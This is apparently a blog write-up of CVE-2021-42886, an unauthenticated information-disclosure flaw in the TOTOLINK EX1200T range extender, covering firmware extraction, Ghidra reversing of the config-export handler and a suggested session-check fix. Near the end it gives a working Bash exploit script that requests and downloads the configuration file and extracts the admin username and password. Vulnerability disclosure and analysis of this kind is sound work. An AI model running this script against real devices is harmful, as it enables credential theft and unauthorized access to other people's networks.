CVE-2021-42886: TOTOLINK EX1200T Information disclosure vulnerability

13 minute read

Introduction

A vulnerability discovered in TOTOLINK EX1200T model known as CVE-2021-42886 which lead to a leak of configurations file to unauthorized user, as a results anyone exploit this vulnerability can get the user name and password of the device. Note:(Everything you obtain here is for educational purposes, Don't use or abuse any bug against any target without permissions)

Obtaining the Firmware

Before we start we would need the firmware of the device, Therefore We can take a static look at the code and how it works to understand more. So, what we need is the vulnerable Firmware for the device which is V4.1.2cu.5215 and we have many ways to do it:

  • You can search for the firmware on the official website for the vendor.

  • Download it from any other source (after someone already dump it from the device and published it).

  • Dump the firmware through UART, You could read a detailed blog from Here.

  • Also, you could contact the support to provide you with the firmware.

  • Finally dumping the firmware using CH341A Mini programmer USB, You could read a detailed blog from Here.

In my case, I found the firmware on the vendor website. Now, Let’s extract the firmware using binwalk tool as the following binwalk -e --run-as=root "TOTOLINK_C8180E-1C_EX1200T_WX022_8197F_SPI_8M64M_V4.1.2cu.5215_B20210330_ALL.web" and here is the output:

$ ls
TOTOLINK_C8180E-1C_EX1200T_WX022_8197F_SPI_8M64M_V4.1.2cu.5215_B20210330_ALL.web
$ sudo binwalk -e --run-as=root "TOTOLINK_C8180E-1C_EX1200T_WX022_8197F_SPI_8M64M_V4.1.2cu.5215_B20210330_ALL.web"
[sudo] password for azima:

DECIMAL       HEXADECIMAL     DESCRIPTION
--------------------------------------------------------------------------------
76            0x4C            JFFS2 filesystem, little endian
209052        0x3309C         Zlib compressed data, compressed
209388        0x331EC         Zlib compressed data, compressed
210144        0x334E0         Zlib compressed data, compressed
210832        0x33790         JFFS2 filesystem, little endian
231428        0x38804         Zlib compressed data, compressed
231988        0x38A34         Zlib compressed data, compressed
232548        0x38C64         Zlib compressed data, compressed
233116        0x38E9C         Zlib compressed data, compressed
233560        0x39058         JFFS2 filesystem, little endian
254344        0x3E188         Zlib compressed data, compressed
254696        0x3E2E8         JFFS2 filesystem, little endian
255224        0x3E4F8         Zlib compressed data, compressed
256064        0x3E840         JFFS2 filesystem, little endian
321636        0x4E864         LZMA compressed data, properties: 0x5D, dictionary size: 8388608 bytes, uncompressed size: 6526520 bytes

And as i am using Windows Subsystem Linux (WSL), Here we can browser our firmware normally:

The Analysis

When we first open the /cgi-bin directory under the web_cste folder we can see the following shell files:

ExportIbmsConfig.sh
ExportSettings.sh
ExportSyslog.sh

The file we want to take a look at is ExportSettings.sh

#!/bin/sh

#output HTTP header
eval `flash get HARDWARE_MODEL`
dateStr=`date  '+%Y%m%d'`
filename=\"Config-$HARDWARE_MODEL-$dateStr.dat\"

echo "Pragma: no-cache\n"
echo "Cache-control: no-cache\n"
echo "Content-type: application/octet-stream"
echo "Content-Transfer-Encoding: binary"                        #  "\n" make Un*x happy
echo "Content-Disposition: attachment; $filename"
echo ""

cat /var/config.dat 2>/dev/null

the flash command to get the value of the HARDWARE_MODEL environment variable and then uses the eval command to set that value as a shell variable, dateStr is a variable to the current date in the format YYYYMMDD, filename is a variable to a string that includes the hardware model and date in the format Config-HARDWARE_MODEL-YYYYMMDD.dat..

echo "Pragma: no-cache\n"
echo "Cache-control: no-cache\n"
echo "Content-type: application/octet-stream"
echo "Content-Transfer-Encoding: binary"
echo "Content-Disposition: attachment; $filename"
echo ""

The above lines are output of the HTTP headers for the response, They set various headers like Pragma, Cache-control, Content-type, Content-Transfer-Encoding, and Content-Disposition with the filename set to the filename variable defined before. As we can see it’s obvious that the file is used to extract the current device settings & configurations, Which contains the Username & Password. Now, Let’s go to Burp Suite and request the file /cgi-bin/ExportSettings.sh:

As we ca see in the screenshot of, When we requested the file, It response us back with the same headers which contains the .dat file name.

When we request the file it will show us a redirect status (302code) and when we follow the redirect it will show us that the file is not found. Now, If we navigate to the admin panel and go to system configuration tab to export configuration it will work. As we have the requests of the process in Burp Suite, We can notice the following request:

GET /cgi-bin/cstecgi.cgi?action=save&setting HTTP/1.1
Host: 192.168.0.254
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en-US;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/111.0.5563.65 Safari/537.36
Connection: close
Cache-Control: max-age=0

The request doesn’t need any authentication or authorization or even check for the session when you request it. So, basically when you request this link it will generate the configuration file and you can download it. Let’s take a look on how this file get generated. Let’s go with Ghidra and reverse the cstecgi.cgi file. Now, By going to the file and check it with the file command, We can see it’s an ELF 32bit MIPS file:

Open it and create a new project i named it EX1200T for the device name and drop the cstecgi.cgi file into the project:

After that open the file using Code Browser within Ghidra:

Then, analysis the file:

Navigating to Symbol Tree and let’s check out the functions:

After going through the functions clearly inside FUN_00400dd8 function we can see the following lines of codes. But, there is no thing interesting and it’s all about functions calling other functions:

We just can see that httpStatus, redirectURL & responseParam being passed to some unclear functions. But, You can see under \squashfs-root\lib\cste_modules folder that there are libraries named as the following:

app.so
cloudupdate.so
global.so
lan.so
product.so
system.so
upgrade.so
wireless.so
wps.so

After reversing this libraries you will know that it’s clearly used by the cstecgi.cgi to perform different operations and changes through the device panel. Let’s identify which one perform the export for the configuration process by searching through the following Bash one liner using strings command:

for i in $(ls -la | awk '{print $9}' | grep ".so"); do echo ""; echo "Lib Name: $i"; strings $i | grep "Config"; done

The above line will print the library name after this will run the strings command on the library to get any string has the word Config and will print the results under the library name. Therefore, we will be able to know which library contains the Config process or anything related. Command output:

Lib Name: app.so
getAppStatusConfig
getAppEasyWizardConfig
setAppEasyWizardConfig
getAppWanConfig
setAppWanConfig
getAppWiFiConfig
setAppWiFiConfig
getAppMultiApConfig
setAppMultiApConfig
'getAppStatusConfig
getAppEasyWizardConfig
setAppEasyWizardConfig
getAppWanConfig
setAppWanConfig
getAppWiFiConfig
setAppWiFiConfig
getAppMultiApConfig
setAppMultiApConfig

Lib Name: cloudupdate.so

Lib Name: global.so
getSaveConfig
getInitConfig
setWanDnsConfig
getSaveConfig
getInitConfig
cp /web_cste/config.dat /web_cste/Config-%s-%s.dat
,"redirectURL":"http://%s/Config-%s-%s.dat"}

Lib Name: lan.so
setLanConfig
getLanConfig
setStaticDhcpConfig
delStaticDhcpConfig
getStaticDhcpConfig
'setLanConfig
getLanConfig
setStaticDhcpConfig
delStaticDhcpConfig
getStaticDhcpConfig

Lib Name: product.so

Lib Name: system.so
getMiniUPnPConfig
setMiniUPnPConfig
getMiniUPnPConfig
setMiniUPnPConfig

Lib Name: upgrade.so
MM_ConfigFileInvalid
MM_ConfigSizeErr
MM_ConfigFileErr

Lib Name: wireless.so
setWiFiBasicConfig
getWiFiBasicConfig
setWiFiAdvancedConfig
getWiFiAdvancedConfig
setWiFiMultipleConfig
getWiFiMultipleConfig
delWiFiMultipleConfig
getWiFiAclAddConfig
setWiFiAclAddConfig
setWiFiAclDeleteConfig
getWiFiWdsAddConfig
setWiFiWdsAddConfig
setWiFiWdsDeleteConfig
getWiFiRepeaterConfig
setWiFiRepeaterConfig
getWiFiScheduleConfig
setWiFiScheduleConfig
getWiFiApConfig
setWiFiApConfig
getWiFiExtenderConfig
setWiFiExtenderConfig
setWiFiBasicConfig
getWiFiBasicConfig
setWiFiAdvancedConfig
getWiFiAdvancedConfig
setWiFiMultipleConfig
getWiFiMultipleConfig
delWiFiMultipleConfig
getWiFiAclAddConfig
setWiFiAclAddConfig
setWiFiAclDeleteConfig
getWiFiWdsAddConfig
setWiFiWdsAddConfig
setWiFiWdsDeleteConfig
getWiFiRepeaterConfig
setWiFiRepeaterConfig
getWiFiScheduleConfig
setWiFiScheduleConfig
getWiFiApConfig
setWiFiApConfig
getWiFiExtenderConfig
setWiFiExtenderConfig

Lib Name: wps.so
setWiFiWpsConfig
getWiFiWpsConfig
getWiFiWpsSetupConfig
setWiFiWpsSetupConfig
setWiFiWpsConfig
getWiFiWpsConfig
getWiFiWpsSetupConfig
setWiFiWpsSetupConfig

And as we can see that there are tons of it’s with-in the libraries and after a lot of search i found it under the global.so library, As we did with the cstecgi.cgi file. Let’s do the same with the library using Ghidra. After opening the Functions tab under Symbol Tree we can notice the getSaveConfig function:

So, We can say the save configuration process is as the following:

Now, Let’s navigate to the function and understand what this function do and how it works. First the function start by taking 3 parameters:

undefined4 getSaveConfig(undefined4 param_1,undefined4 param_2,undefined4 param_3)

After that the rest of the code is declaring of variables until we reach the line number 65:

The save_cs_to_file(); is a call for external function and then __src which storing the value retrieved with http_host from the http request and the "" value will be used if the requested variable is not found which refers to the device hostname/ip, After that there is an IF condition which checks if the first character of __src is null character or no, If that true it will call a function named getLanIp() and from it’s name we can guess it’s getting the IP address for the device NIC. Everything is clear it checks for the Hostname or IP. Finally, if it’s not empty then it will copy the __src value to the local_c8 which also could be a hostname. Now, let’s rename the variables as we know it’s usage. Moving to the following lines:

Here, It assigns the status of request to the acSTack_10C8 we can rename it to reqResponse. And the response will redirect the user. Then, It gets the length of reqResponse and assign it to sVar1. the call for the apmib_get() function is for retrieving a value from a data structure and storing it in the local_x variables. After that opens the file config.dat in append mode and assigns a file pointer to the variable __s, We can rename it to configFile.

By moving to the following lines, It checks if the file cannot be opened then it will print error massege, If the file is opened successfully, The code writes a single byte DAT_0001dc0c to the file,followed by the contents of the local_38 variable.Then closing the file after this, The code then retrieves the current date using the date command and formats it as a string in local_88. Then using the sprintf() function to create a system command that copies the config.dat file to a new file named Config-[local_a8]-[local_88].dat, Finally the command executed using the system() function as it saved in acStack_78. Now, we understand how the file is created and as we can send the unauthorized request to create it, Let’s do it and take a look on the file.

Here we sent the request, you can see in the response it’s redirect to the location of the file configuration file, If we follow the request we can see the file contents:

Now, Let’s download the file normally and extract the strings from it using strings command.

As we can see when we run strings command we can notice the !admin string and below it we can notice the !1337. And normally it looks like the admin which is the user and 1337 which is the password & the ! sign coming from the file. If we take a look again by printing the line number of each string we got, You can see clearly that the username and password got the 6th & 7th lines.

Now, Let’s automate the process using Bash script to exploit it and print out the user name and password.

#!/bin/bash

ip=$1
url="http://${ip}/cgi-bin/cstecgi.cgi?action=save&setting"

echo "[*] Target: $ip"
echo "[+] Sending creation request...."
response=$(curl -i -X GET $url \
           -H "Host: ${ip}" \
           -H 'Accept-Encoding: gzip, deflate' \
           -H 'Accept: */*' \
           -H 'Accept-Language: en-US;q=0.9,en;q=0.8' \
           -H 'User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/111.0.5563.65 Safari/537.36' \
           -H 'Connection: close' \
           -H 'Cache-Control: max-age=0' \
           --max-redirs 0)
echo "[+] Creation Request Sent"
location_header=$(echo "$response" | grep -i location | awk '{print $2}' | tr -d '\r')
new_url=$(echo "$location_header")
file_name=$(echo "$location_header" | awk -F "/" '{print $4}')
if [[ ! -z "$new_url" ]]; then
echo "[+] Requesting the File......"
    response_body=$(curl -s -X GET "$new_url" \
         -H "Host: ${ip}" \
         -H 'Accept-Encoding: gzip, deflate' \
         -H 'Accept: */*' \
         -H 'Accept-Language: en-US;q=0.9,en;q=0.8' \
         -H 'User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/111.0.5563.65 Safari/537.36' \
         -H 'Connection: close' \
         -H 'Cache-Control: max-age=0')
echo "[+] File Requested"
echo "$response_body" >> $file_name
echo "[+] File saved to $file_name"
echo "[*] Username and Password:"
echo "$response_body" | strings | sed -n '6,7p' | sed 's/\!//g'
fi

Basically, Our script will take a target as an argument and then send the creation request of the configuration file, After that it will take the value of Location header to location_header and save it to new_url. The, Cut the url in the Location header which is the configuration file url and take the file name & save it to file_name variable, Finally, It sends the request to the file url and save it to the file name on the disk and filter out the username and password. Now, It’s the time to use it:

Final Thoughts

The developer shall always check for the user session before performing any kinds of request and if the user’s session is valid or no, Another thing is to delete the configuration file from the web directory as it will be open for anyone to download it. So, the final code can be as the following:

  Host = (char *)websGetVar(param_2,"http_host","");
  if (*Host == '\0') {
    getLanIp(&deviceIP);
  }
  else {
    strcpy((char *)&deviceIP,Host);
  }
  
  snprintf(reqResponse,0x1000,"{\"httpStatus\":\"%s\",\"host\":\"%s\"","302",(char *)&deviceIP);
  sVar1 = strlen(reqResponse);
  apmib_get(0x4655,&local_a8);
  apmib_get(0x1bbe,&local_38);
if (userSession){  
    __s = fopen("/web_cste/config.dat","ab");
      if (__s == (FILE *)0x0) {
        perror("fopen");
        uVar2 = 0;
      }
      else {
        fwrite(&DAT_0001dc0c,1,1,__s);
        __size = strlen((char *)&local_38);
        fwrite(&local_38,__size,1,__s);
        fclose(__s);
        getCmdStr("date  \'+%Y%m%d\'",&local_88,0x10);
        sprintf(acStack_78,"cp /web_cste/config.dat /web_cste/Config-%s-%s.dat",(char *)&local_a8,
                (char *)&local_88);
        system(acStack_78);
        snprintf(reqResponse + sVar1,0x1000 - sVar1,",\"redirectURL\":\"http://%s/Config-%s-%s.dat\"}",
                 (char *)&deviceIP,(char *)&local_a8,(char *)&local_88);
        uVar2 = websGetCfgResponse(param_1,param_3,reqResponse);
      }
  return uVar2;
} else {
    exit(1);
 }
}

Now, it will check for the user session if it’s valid it will complete in creating the file and send back a valid response to the user, If not then it will exit the function.

Conclusion

We have seen the analysis for the CVE-2021-42886, How the configurations file is created for the user to save as a backup, The importance of using encryption method to prove the confidentiality of the data and highlighted the mistakes made by the developer.

References

#CVE-2021-42886 #totolink